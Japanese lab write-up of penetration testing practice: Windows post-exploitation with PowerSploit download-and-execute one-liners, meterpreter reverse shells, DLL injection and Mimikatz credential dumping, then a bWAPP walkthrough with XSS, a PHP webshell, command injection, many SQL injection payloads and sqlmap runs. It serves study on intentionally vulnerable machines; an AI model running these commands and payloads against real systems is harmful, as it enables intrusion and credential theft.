@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Invoke-Shellcode.ps1'));Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force"

ProcessIDを指定しないと、現在のPowershellプロセスにshellcodeを注入するらしい
途中までうまく行ってたのになんかエラー
f:id:kakyouim:20200216203754p:plain
f:id:kakyouim:20200216203859p:plain

Invoke-DllInjection.ps1

  • Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll
  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=5555 -f dll > msf.dll
    で悪意のあるDLLを作成して標的のディスク上に配置しないといけない
    DLL Injectionは現在実行中のプロセスに悪意のあるDLLの存在するパスを書き込んでロードさせるもの
    ロードされたDLLはそのプロセスの権限で実行される
  • powershell -Command "Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden"
  • powershell -Command "Get-Process notepad"
    f:id:kakyouim:20200216204108p:plain
  • certutil.exe -urlcache -split -f "http://192.168.56.5/share/msf.dll"
    f:id:kakyouim:20200216204309p:plain
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/CodeExecution/Invoke-DllInjection.ps1'));Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll"

f:id:kakyouim:20200216204400p:plain
f:id:kakyouim:20200216204412p:plain

ちなみに、SYSTEMで動いているであろうTomcatにDLLInjectionを試してみると、
f:id:kakyouim:20200216204509p:plain
となって失敗した。
どうやら管理者のPowershellじゃないとだめらしい。

参考
blog.opensecurityresearch.com
www.elastic.co

Get-VaultCredential

  • Get-VaultCredential
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/Exfiltration/Get-VaultCredential.ps1')); Get-VaultCredential"

なにも表示されなかった

Find-ProcessDLLHijack

  • Find-ProcessDLLHijack
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Find-ProcessDLLHijack  "

f:id:kakyouim:20200216204634p:plain
こういうのが何個か結果として得られた
DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
アプリケーションが普通のディレクトリにInstallされていたり、""で囲まれておらずスペースが含まれている場合にバイパスできる

Get-System

  • Get-System -Technique NamedPipe
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/Get-System.ps1')); Get-System -Technique NamedPipe"

f:id:kakyouim:20200216204939p:plain
権限の問題で失敗……
参考
yojimbosecurity.ninja

Get-DllLoadPath.ps1

  • Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll
    のように使う
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PEtools/Get-DllLoadPath.ps1')); Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll"

参考
github.com
resources.infosecinstitute.com

Mimikatz

  • mimikatz.exe
    以下でダウンロードする。
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimidrv.sys\", \"C:\\Users\\Public\\Downloads\\mimidrv.sys\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimikatz.exe\", \"C:\\Users\\Public\\Downloads\\mimikatz.exe\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimilib.dll\", \"C:\\Users\\Public\\Downloads\\mimilib.dll\")"

以下でmimikatz.exeを実行してクレデンシャル情報を探すが、今回は失敗
mimikatz log version "sekurlsa::logonpasswords" exit
f:id:kakyouim:20200216182652p:plain - Invoke-Mimikatz.ps1
以下でディスクに置かずに実行できるだめAVに引っかかりにくいらしい

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Mimikatz/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds"

f:id:kakyouim:20200216182922p:plain

Metasploit

sshを介して得たuser=vagrantのmeterpreterセッション上で
getsystem
を実行するとSYSTEMになれた!
f:id:kakyouim:20200216183218p:plain
f:id:kakyouim:20200216183237p:plain
名前付きパイプの偽装による権限昇格が成功した様子
名前付きパイプとは、同じコンピュータ上で動作しているプログラム同士がデータをやり取りするプロセス間通信(IPC)の有力な方式の一つ。

Windowsのセキュリティはスレッドを実行するユーザーをトークンで識別しますが、 名前付きパイプのサーバーはクライアントのトークンを偽装できます。
偽装するというのは、サーバーがクライアントのアカウントとしてコードを実行するということであり、 オブジェクトへのアクセスをクライアントとして行いたい場合に便利

つまり、cmd.exeへの名前付きパイプを作成しておいて、そこにSYSTEMであると偽ってMeterpreterが接続すると、SYSTEM権限でのcmd.exeの実行が可能になるということ?

blog.cobaltstrike.com
以下のPowerSploitのExploitでもおそらく可能
yojimbosecurity.ninja

参考文献

zero-day.io
www.ceyhuncamli.com.tr
wjmccann.github.io
https://www.yeahhub.com/list-metasploit-exploits-modules-metasploitable3-vulnerable-machine/
www.mrb3n.com

最後

権限昇格のやり方が全然よくわかってないのでちゃんと勉強しないとダメだなあ
powershellに頼りきりだけどWindows7より前の標的にはどうやって権限昇格するんだろうか……
なんもわからん

bWAPP: bee-box writeup

ぺネトレの基本を押さえるためにBee-boxの問題全部解くぞ!!
全部解いたら、あとでほかのマシンを攻略するときの良いまとまった参考資料になる気がするぞ!
あんまりよくわかってないので間違ってたりしてたら指摘していただけると幸いです。

以下にBee-boxのソースコードが上がっています
https://github.com/theand-fork/bwapp-code/tree/master/bWAPP
https://github.com/lmoroz/bWAPP/tree/master/bWAPP

A1-Injection

HTML Injection - Reflected (GET)

  • low
    f:id:kakyouim:20200204192138p:plain
    反射型なので、送信したスクリプトはサーバーに保存されない
    <h1>aa</h1>,<script>alert("a")</script>。いつもの。
    f:id:kakyouim:20200204193106p:plain
    f:id:kakyouim:20200204193200p:plain
  • medium
    lowと同様にしているがうまく行かず。<>がどうやら& lt;などにHtmlエンコードされている様子。
    f:id:kakyouim:20200204193339p:plain
    URLencodeすると解決!
  • hard
<?php
function xss_check_3($data, $encoding = "UTF-8"){ 
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
}
print xss_check_3($data);
?>

となっているため、脆弱ではありません
以後、基本的にhardは脆弱ではありません。

HTML Injection - Reflected (POST)

f:id:kakyouim:20200204193725p:plain
GETと同じ
f:id:kakyouim:20200204193804p:plain
MediumもURLエンコードで解決。

HTML Injection - Reflected (URL)

f:id:kakyouim:20200204194031p:plain
ソースコードは次の通り
f:id:kakyouim:20200204194207p:plain
通常、document.urldocument.writedocument.locationは、適切に処理されない場合、DOM XSSの下にあるらしい。
反射型との違いは、クライアントサイドスクリプト脆弱性を利用することらしいです(よくわからん)

  • low
  • GET /bWAPP/htmli_current_url.php?<h1>aa</h1><h2>aa</h2>
  • medium
  • GET /bWAPP/htmli_current_url.php#<h1>aa</h1><h2>aa</h2>

HTML Injection - Stored (Blog)

  • low
    f:id:kakyouim:20200204195242p:plain
    <h1>aa</h1>ができてる
    また、以下のスクリプトでWebshellを設置できる
<?php echo 'Uploader<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?>

iFrame Injection

  • low
    f:id:kakyouim:20200204195920p:plain
    iframeとは、src属性で指定したURL(リンク先ページの内容)をインラインフレーム表示できるHTMLタグの一つ
    ソースコードはこうなっている。
    f:id:kakyouim:20200204200037p:plain
    GET /bWAPP/iframei.php?ParamUrl=iframei.php&ParamWidth=250&ParamHeight=250ParamUrlの値を変更するとそのページがインライン表示された!
    また、ParamUrl="></iframe><h1>a</h1><iframesrc="で、以下のように挿入できる
    f:id:kakyouim:20200204200253p:plain
  • medium
    lowと同じ方法でやったがダメだった
    ソースコードを見ると、下のようになっているので、シングルクォート('), ダブルクォート("),バックスラッシュ () ,NUL (NULL バイト)が弾かれて、先頭にバックスラッシュが付与される。

f:id:kakyouim:20200204200431p:plain
Mediumではsrc=robots.txtで固定で、PramWidthでaddslash()が使われている
addslash()が使われているとき、%bf%5c”と書くと、が書けるらしい
%bf%5c'と入力すると、%bf%5cが中国語のMultiByteで?となって、後ろのがフィルタリングされないらしい。
/bWAPP/iframei.php?ParamUrl=1%bf%5c'&ParamWidth=1%bf%5c"></iframe><h1>aa</h1>&ParamHeight=250
で、下のようになり成功した!
f:id:kakyouim:20200204200815p:plain
参考文献:
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html

Mail Header Injection (SMTP)

f:id:kakyouim:20200204201117p:plain
name = wagn \ nbcc:io098093oiscx0123@mailinator.com&email=bwapp%40mailinator.com&remarks=144&form=submitとかでBCCを追加できるらしい
つまり、BCCとかをSMTPに解釈させることができる。BCCとしてメールを送り付けることができるらしい。

OS Command Injection

  • low
    f:id:kakyouim:20200204201523p:plain
    www.nsa.gov;idとすると下のように実行できている
    f:id:kakyouim:20200204201636p:plain
  • medium
    ソースコードを見ると、以下のようになっている
    f:id:kakyouim:20200204201719p:plain
    www.nsa.gov | idとすればよい

    OS Command Injection – Blind

  • low
    f:id:kakyouim:20200204201856p:plain
    先ほどと同じようにする
    f:id:kakyouim:20200204201947p:plain
  • medium
    192.168.56.5|sleep 10でいけた

    PHP Code Injection

    f:id:kakyouim:20200204202057p:plain
    phpi.php?message=exec(id)でいけた
    f:id:kakyouim:20200204202151p:plain
    ソースコードを見た感じ、MediumもHardも同じくspecialcharacters()でフィルタリングされてる。

Server-Side Includes (SSI) Injection

  • low
    f:id:kakyouim:20200204202307p:plain
    ssii.shtmlに、htmlをインクルードしているらしい。CGIを使わずに動的にページを作成するときに使われる。
    <script>alert("a")</script>でいけた!
    <!-- exec cmd="pwd" -->
    でも行けるらしい
  • medium
    single quote ('), double quote ("), backslash () and NUL (the NULL byte) がaddslash()でフィルタされているだけなので、
    <h1>a</h1>でいけた

    SQL Injection (GET/Search)

    f:id:kakyouim:20200204202721p:plain
    ' or '1'='1,' order by 7-- -,' Union select 1,2,3,4,5,6,7 -- -が成功している
    ソースコードは以下の通り
    f:id:kakyouim:20200204203052p:plain

SQL Injection (GET/Select)

f:id:kakyouim:20200204203201p:plain
GETメソッドで'を入れると以下のようにエラーが出た
f:id:kakyouim:20200204203335p:plain
'1 and '1'='1を入力すると以下のようなエラー
f:id:kakyouim:20200204203656p:plain
1 and 1=1とすると動く
f:id:kakyouim:20200204203756p:plain
ソースコードを見てみる
f:id:kakyouim:20200204203827p:plain
id = (入力)となっている
idの属性が文字列型の時は’’が必要で、整数型の時は''は必要ないらしい。
1 and 1=0 union all select 1,2,3,4,5,6,7 --で成功する
and 1=0を入れないと、union selectでSelectした値が1で上書きされてしまうため、必要。
1 union all select 1,2,3,4,5,6,7 --は不十分

SQL Injection (POST/Search)

f:id:kakyouim:20200204204415p:plain
' or '1'='1,' order by 6 -- -,' Union select 1,2,3,4,5,6,7 -- -

SQL Injection (POST/Select)

f:id:kakyouim:20200204204636p:plain
1 and 1=0 union all select 1,2,3,4,5,6,7 --をPOSTする
f:id:kakyouim:20200204204750p:plain

SQL Injection (AJAX/JSON/jQuery)

f:id:kakyouim:20200204204825p:plain
' or '1'='1でいけている
f:id:kakyouim:20200204205018p:plain
' union select 1,table_schema,table_name,4,5,6,7 from information_schema.tables -- -などでも確認
また、ソースコードを確認してみると、
f:id:kakyouim:20200204205138p:plain
.getJSON("sqli_10-2.php", search, function(data) と書いてある。
HTTPのGET通信を行い、json形式に変換されたデータをサーバから受け取っているのでブラウザからGETで送信しても確認
f:id:kakyouim:20200204205241p:plain

Manual Intervention Required

f:id:kakyouim:20200204205327p:plain
普通に表示されているのを入力して、
f:id:kakyouim:20200204205414p:plain

SQL Injection (Login Form/Hero)

f:id:kakyouim:20200204205512p:plain
‘ or ‘1’ = ‘1で行けてる。いつものと同じ(は?)

        $login = $_POST["login"];
        $login = sqli($login);
        $password = $_POST["password"];
        $password = sqli($password);
        $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'";
        // echo $sql;
        $recordset = mysqli_query($link, $sql);
        if(!$recordset)
        {
            die("Error: " . mysqli_error());
        }
        else
        {
            $row = mysqli_fetch_array($recordset);
            if($row["login"])
            {
                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
                // $message = $row["login"];
            }

つまり、「Selectで入力されたユーザーがDBに登録されているかどうかを調べて、戻り値に誰かしらのユーザーが存在すればそのユーザとしてログインする」認証において、or 1=1とすることですべてのユーザーを戻り値として受け取るのでログインできている(?)

SQL Injection (Login Form/User)

f:id:kakyouim:20200204205631p:plain
'を入力すると、
f:id:kakyouim:20200204205836p:plain
‘ or ‘1’ = ‘1,' or '1' = '1 -- -を入力すると、
f:id:kakyouim:20200204205938p:plain
SQLエラーは起きていないので、普通に認証の段階でつまずいている
今回は、user名はSQLで入力されたユーザをDBから戻り値として取ってくるが、passwordはSQLに含まれておらず、DBからの戻り値のユーザのパスワードと入力されたパスワードが一致しているかどうかを確認している
こちらはpasswordまではわからないのでuser:' or '1' = '1 -- -,password:本当のパスワードとしない限りこれでは成功しない。

        $login = $_POST["login"];
        $login = sqli($login);
        $password = $_POST["password"];
        $password = sqli($password);
        $password = hash("sha1", $password, false);
        $sql = "SELECT * FROM users WHERE login = '" . $login . "'";
        // echo $sql;
        $recordset = mysqli_query($link, $sql);
        if(!$recordset)
        {
            die("Error: " . mysqli_error());
        }
        else
        {
            $row = mysqli_fetch_array($recordset);
            if($row["login"] && $password == $row["password"])
            {
                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
                // $message = $row["login"];
            }

ただし、認証に失敗したとしてもSQL文は実行できているのでBlind Injectionはできる!
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
' or if((select version()) like "5%", sleep(10), null) -- -
が確認できた。
また、Error-basedの
' AND extractvalue(rand(),concat(0x3a,version()))-- -
を試したところ、実行はエラーでできていないが、結果的にデータベース名が判明している(それしかわからないが……)
f:id:kakyouim:20200204212741p:plain
参考:
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md

SQL Injection (SQLite)

f:id:kakyouim:20200204212952p:plain
' or '1' = '1でいけた
' Union select 1,2,sqlite_version(),4,5,6 -- -でもいけた。
' Union select 1,2,version(),4,5,6 -- -だとエラーが発生。

Drupal SQL Injection (Drupageddon)

f:id:kakyouim:20200204213211p:plain
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.56.8/drupal -u sample -p sample
でCVE-2014-3704に対応したエクスプロイトを実行
f:id:kakyouim:20200204213752p:plain
user:sample,password:sampleを作成するエクスプロイト
ペイロードは下の通り
f:id:kakyouim:20200204213451p:plain
/drupal/にいってログインしてみるとできる!
f:id:kakyouim:20200204213533p:plain

ちなみに、Metasploitにもエクスプロイトがあるのでそっちも試してみます
use multi/http/drupal_drupaggeddonを使う
f:id:kakyouim:20200204213636p:plain
Metasploitのpayloadは下の通り。わけわかりませんね
f:id:kakyouim:20200204213850p:plain

SQL Injection - Stored (Blog)

f:id:kakyouim:20200204173155p:plain
格納型のSQLInjetionですね。POSTで送るデータでSQLInjetionできそうです
f:id:kakyouim:20200204173328p:plain
この入力に対して、以下のようなエラー
f:id:kakyouim:20200204173353p:plain
' or '1' = '1を入力すると、エラーせずすべて表示されたので、SQLiの脆弱性があります
' order by 1 -- -も試したが、エラーが出てしまった。コメントアウトができないようです。
なのでUNION SELECTとかは厳しそうですね
次にblind injectionを試してみます
f:id:kakyouim:20200204174539p:plain

  • Boolead-based
  • ' RLIKE (SELECT (CASE WHEN (9042=9042) THEN 0x61 ELSE 0x28 END)) AND 'NOrf'='NOrf
  • Error-based
  • OR ROW(4201,1873)>(SELECT COUNT(*),CONCAT(0x71626a7671,(SELECT (ELT(4201=4201,1))),0x716b6a7171,FLOOR(RAND(0)*2))x FROM (SELECT 2894 UNION SELECT 1505 UNION SELECT 8532 UNION SELECT 9010)a GROUP BY x) AND 'REVp'='REVp
  • Time-based
  • AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwW

これらでうまく行っています!これらはSqlmap先輩が出力したpayloadです
これらのペイロードは割とよく見る気がするので覚えた方がよいかも

また、' or sleep(5) or '1'='1でも行けてますね。
どうやら、最後にコメントアウトを入れることができないので '1'='1で最後をエラーが出ないような形にしてあげれば良さそうです
参考文献:
SQLiのcheat sheet
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md
Error-basedなどが詳しく書いてある
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/

SQL Injection - Stored (SQLite)

f:id:kakyouim:20200204175019p:plain
' or '1' = '1'を試してみるが、エラーは特に表示されない
この問題は格納型なので、INSERT INTO テーブル名 VALUES ( ‘値1′ [ , ‘値2’ ]・・・);というソースコードになっているはず。
なので、試しに','');を入力してみると、下のように空白が記憶されている
f:id:kakyouim:20200204175707p:plain
そこで、',sqlite_version());を入力すると、下のようにバージョンが表示されている
f:id:kakyouim:20200204175803p:plain
',(select name from sqlite_master where type='table'));を入力すると、以下のようになった.
f:id:kakyouim:20200204175857p:plain
よって任意のデータが読みだせますね

ちなみに、ソースコードは、下のようになっており、$entryに入力される

$sql = "INSERT INTO blog (id, date, entry, owner) VALUES (" . ++$id . ",'" . date('Y-m-d', time()) . "','" . $entry . "','" . $owner . "');";


参考文献
https://teckk2.github.io/web-pentesting/2018/02/07/SQL-Injection-Stored-(SQLite).html

SQL Injection - Stored (User-Agent)

f:id:kakyouim:20200204180153p:plain
User-AgentにSQLInjetionできそうです
Burpで'をUser-Agentに入力してみます
f:id:kakyouim:20200204180350p:plain
とすると、内部エラーが出力されたのでSQLInjetionできます。
' or '1'='1を入力すると、エラーなくすべて表示されました。
' order by 1 or '1'='1を入力すると、以下のようなエラーが表示されました
f:id:kakyouim:20200204180820p:plain
この形から、INSERT INTO テーブル名 VALUES ( ‘値1’,’useragent’,’ipaddress’);となっていることが予想されます。
先ほどの','');-- -を試してみると、次のように空白が表示されています!
f:id:kakyouim:20200204180708p:plain
',database());-- -などで成功しています!

また、Time-basedの' or sleep(5) or '1'='1でも成功しました!
一つ前の問題でSqlmapが吐いた' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwWも成功しています!
実際に、以下でSqlmapを実行してみます

sqlmap -u "http://192.168.56.8/bWAPP/sqli_17.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 -p User-Agent --dbs


f:id:kakyouim:20200204181313p:plain
Boolean-based,Error-based,Time-basedを検出しています!

SQL Injection - Stored (XML)

f:id:kakyouim:20200204181809p:plain
XML形式でデータをSQLパーサに送信するようです
特に何かを表示させるような感じではないので、Union型ではなさそうです
Burpで'を入力してみます
f:id:kakyouim:20200204181918p:plain
すると次のようなエラーが表示されました
f:id:kakyouim:20200204182012p:plain
Time-basedの' or sleep(5) or '1'='1 -- -を試すと成功!
Boolean-basedの' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZでも成功!

sqlmap -u "http://192.168.56.8/bWAPP/sqli_8-2.php" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 3 --data="<reset><login>a</login><secret>Any bugs?</secret></reset>" --dbs --method POST --dbms mysql

を実行すると、以下のような結果が得られた
f:id:kakyouim:20200204182509p:plain
参考
動画ではError-based型で成功しているが自分は成功しなかった(???) https://www.youtube.com/watch?v=cmTZ3LXyjsk

SQL Injection - Blind - Boolean-Based

f:id:kakyouim:20200204182739p:plain
Blindと書いてあるのでTime-basedとかBoolean-basedを試す

' or sleep(5) -- -を実行すると、明らかに5秒以上動かなくなった……(なんでだ?)
' or sleep(5) or '1' = '1とかはダメだった
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwWだと成功した!

' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZで試してみる
(1119=1119)とすると、
f:id:kakyouim:20200204183348p:plain
(1119=1)とすると、
f:id:kakyouim:20200204183423p:plain
となっており、1bitの情報が得られる!
実際にSqlmapを実行すると、
f:id:kakyouim:20200204183607p:plain

SQL Injection - Blind - Time-Based

f:id:kakyouim:20200204183702p:plain
‘ or sleep(5) or ‘1’=’1とか動かん。よくわからん
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND 'ngwW'='ngwWで成功した!
Boolean-basedの
' RLIKE (SELECT (CASE WHEN (1119=1119) THEN 0x73716c6d61702f312e332e313023737461626c652028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND 'ZyyZ'='ZyyZは失敗した

SQL Injection - Blind (SQLite)

f:id:kakyouim:20200204184034p:plain
Blindを試す
f:id:kakyouim:20200204184130p:plain
f:id:kakyouim:20200204184138p:plain
より、Boolean-based型が成功している
Sqlmapを実行すると、

sqlmap -u "http://192.168.56.8/bWAPP/sqli_14.php?title=a&action=search" --cookie="security_level=0; PHPSESSID=d389eb23cf88b9d6be8473b173fcd1ff" --batch --level 5 --dbs  --risk 3 -p title –dbms SQLite

f:id:kakyouim:20200204184336p:plain

SQL Injection - Blind (WS/SOAP)

f:id:kakyouim:20200204184628p:plain
Blindを試す
GETをsqli_5.php?title=' or '1'='2&action=goとすると、
f:id:kakyouim:20200204184744p:plain
GETをsqli_5.php?title=' or '1'='1&action=goとすると、
f:id:kakyouim:20200204184813p:plain
となっているので、Boolean-based型ができる!
また、Time-basedの
' AND (SELECT 4928 FROM (SELECT(SLEEP(5)))DCJf) AND '1'='1
も成功している
' or sleep(5) and '1'='1としても5秒以上ではあるがSleepしている(ような挙動)なので成功している?

XML/XPath Injection (Login Form)

f:id:kakyouim:20200204185116p:plain
xpathとはXML形式のファイルから特定の部分を指定して抽出するための構文(言語)らしいです
つまり、SQLみたいなものと解釈しています
SQLではないので、SQLInjetionのペイロードとは少し違いますが、似ています

見た感じPOSTっぽいですが、Burpで見てみるとGETでした!(はえー)
f:id:kakyouim:20200204185513p:plain
SQLiで定番の' or '1'='1でログインできました!
f:id:kakyouim:20200204185605p:plain
参考文献:
Xpath Injectionのペイロードなどがのっている神
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection#tools

f:id:kakyouim:20200204185801p:plain
GETメソッドで映画のジャンルをactionとかsfとかを送信する
をGETメソッドのgenre=’としていれると次のerrorが発生
f:id:kakyouim:20200204190048p:plain
Genre=actとして省略してもgenre=actionと同じ動作をするのでxpath構文の中にcontains()が実装されていると予想できるらしい

  • ) or contains(genre, '
  • ) or not(contains(genre, 'teck') and '1'='2
  • )]/password | a[contains(a,'
  • )]/*|//*[contains('1','1

が動くらしい(結果論で申し訳ない)
実際のソースコードは、
f:id:kakyouim:20200204190535p:plain
の通りである。
初め二つのペイロードはgenreに''を含む値、つまりすべてのジャンルの値を取り出している
f:id:kakyouim:20200204190714p:plain
3つ目は、xmlファイルの中のpasswordの中身をパイプでつないでるっぽい。
4つ目の')]/*|//*[contains('1','1を使えばすべて表示できるらしい
f:id:kakyouim:20200204190952p:plain
参考:
https://teckk2.github.io/web-pentesting/2018/02/07/XML-XPath-Injection-(Search).html

A2 Broken Auth. & Session Mgmt.

Broken Auth. - CAPTCHA Bypassing

f:id:kakyouim:20200205205459p:plain
bee/bugと書いてあるので、これとCAPTCHAでログインが可能である。
しかし、本来はUserとPasswordはブルートフォースで試すことになるため、アクセスするたびに毎回異なった正しい値を設定する必要があるCAPTCHAは邪魔である
本問はこれをBypassする問題
まずは普通にアクセスする際にどういう通信が発生しているのかWiresharkで確認してみる
http.request.method == "POST" or http.request.method == "GET"でフィルタ
f:id:kakyouim:20200205205849p:plain
POST以外にも通信が発生している。
f:id:kakyouim:20200205210313p:plain
これはPOSTした際にクレデンシャルが間違っていた時に新しいCAPTCHAをサーバー側のSESSIONにセットし、GETで新しいCAPTCHAWEBブラウザに表示しているからである。
実際にソースコードを確認すると、以下のようになっている。

else
    {
        if($_POST["captcha_user"] == $_SESSION["captcha"])
        {
            if($_POST["login"] == $login && $_POST["password"] == $password)
            {
                $message = "<font color=\"green\">Successful login!</font>";
            }

よって、POSTのみを行えばよい
これをBurpのIntruderで行う
f:id:kakyouim:20200205210337p:plain
f:id:kakyouim:20200205210355p:plain
上記の通り、成功している!この時の通信は以下の通りPOSTのみである
f:id:kakyouim:20200205210444p:plain

Broken Auth. - Forgotten Function

f:id:kakyouim:20200205222355p:plain
ソースコードは以下の通り。

if(isset($_POST["action"]))
{
    $email = $_POST["email"];
    if(!filter_var($email, FILTER_VALIDATE_EMAIL))
    {
    $message = "<font color=\"red\">Please enter a valid e-mail address!</font>";
    }
    else
    {
        $email = mysqli_real_escape_string($link, $email);
        $sql = "SELECT * FROM users WHERE email = '" . $email . "'";
        // Debugging
        // echo $sql;    
        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Error: " . $link->error);
        }

RFC822を使用しているようなのでフィルタのチェックはガバガバか?と思ったが、mysqli_real_escape_stringがあるのでSQLInjetionはできなさそう。
つまり、MailAddressはブルートフォースする必要がある。
試しに以下でUserを作成する
f:id:kakyouim:20200205222725p:plain
f:id:kakyouim:20200205222830p:plain
これでやると行けたが、この問題の趣旨がよくわからない?なんでしょう??

Broken Auth. - Insecure Login Forms

  • low
    f:id:kakyouim:20200205233211p:plain
    ソースコードを見るとクレデンシャルが書いてあります。
    f:id:kakyouim:20200205233309p:plain
    user="tonystark" password="I am Iron Man"でログイン成功!
    f:id:kakyouim:20200205233359p:plain
  • medium
    f:id:kakyouim:20200205233428p:plain
    ソースコードを見てみると、javascriptが見える
    f:id:kakyouim:20200205233515p:plain
    これを開発者ツールのConsoleで実行すると,passphraseが得られた。
    f:id:kakyouim:20200205233618p:plain
    f:id:kakyouim:20200205233631p:plain
  • hard
    f:id:kakyouim:20200205233653p:plain
    user=bee,password=bugで成功。

    Broken Auth. - Logout Management

  • low
    f:id:kakyouim:20200206000123p:plain
    ソースコードを見てみる
switch($_COOKIE["security_level"])
{
    case "0" :                   
        // Do nothing
        break;        
    case "1" :            
        // Destroys the session        
        session_destroy();       
        break;        
    case "2" :            
                       
        // Unsets all of the session variables
        $_SESSION = array();
        // Destroys the session    
        session_destroy();
                        break;
            default :
        // Do nothing
        break;      
}

どうやらlogin.phpにリダイレクトはされるが、Sessionは削除されないため、ログインしてるのと同じ。
- medium
MediumとHardではログアウトすると再度ログインする必要があった。

Broken Auth. - Password Attacks

  • low
    f:id:kakyouim:20200206004415p:plain
    bee/bugで基本的にログイン自体はできるけど、その認証の違いを学ぶのが本問の趣旨(?)
    lowレベルのソースコードは以下の通り、userとpasswordを確認しかしていない
if(isset($_POST["form"]))
{
    if($_POST["login"] == $login && $_POST["password"] == $password)
    {
        $message = "<font color=\"green\">Successful login!</font>";
    }
    else
    {
        $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>";
    }
}

f:id:kakyouim:20200206004900p:plain
- medium
POSTリクエストを見てみると、以下のようにランダムなSaltを送信している
f:id:kakyouim:20200206005009p:plain

if(isset($_POST["form"]))
{
    if(isset($_SESSION["salt"]) && ($_POST["salt"] == $_SESSION["salt"]))
    {
        if($_POST["login"] == $login && $_POST["password"] == $password)
        {
            $message = "<font color=\"green\">Successful login!</font>";
        }
        else
        {
            $message = "<font color=\"red\">Invalid credentials! Did you forgot your password?</font>";
        }
    }
    else
    {
        $message = "<font color=\"red\">Incorrect salt!</font>";
    }
}
